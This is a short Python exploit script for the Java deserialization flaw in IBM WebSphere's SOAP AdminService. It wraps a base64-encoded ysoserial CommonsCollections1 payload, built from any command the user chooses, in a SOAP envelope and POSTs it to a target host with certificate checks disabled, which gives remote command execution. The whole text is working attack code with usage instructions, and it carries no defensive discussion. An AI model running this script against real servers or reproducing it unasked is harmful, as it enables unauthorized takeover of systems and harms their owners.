# This vuln was discovered by Stephen Frohoff @frohoff and later Stephen Breen @breenmachine
# did a great blog post here: https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
# Thanks for the sweet bugs!

#!/usr/bin/env python
import sys
import requests
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) < 4:
  print "Usage: ./webtear.py <host> <port> <payload>"
  print "Payload: java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '<cmd>' > <pa\
  yload.bin>"
  sys.exit()

host = "https://" + sys.argv[1] + ":" + sys.argv[2] + "/"
payload = base64.b64encode(open(sys.argv[3],'rb').read())

print "[+] Sending payload to: " + host

buf =  '<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="htt'
buf += 'p://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XM'
buf += 'LSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Hea'
buf += 'der xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVe'
buf += 'rsion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"><LoginMethod'
buf += '>BasicAuth</LoginMethod></SOAP-ENV:Header><SOAP-ENV:Body><ns1:getAttribute x'
buf += 'mlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.o'
buf += 'rg/soap/encoding/"><objectname xsi:type="ns1:javax.management.ObjectName">'
buf += payload + '</objectname><attribute xsi:type="xsd:string">ringBufferSize</attr'
buf += 'ibute></ns1:getAttribute></SOAP-ENV:Body></SOAP-ENV:Envelope>'

print "[+] Sending POST request.."

r = requests.post(url = host, headers = {'Content-Type': 'text/xml; charset=utf-8',\
    'SOAPAction': '"urn:AdminService"'}, data=buf, verify=False)

print "[!] Exploit Sent.."
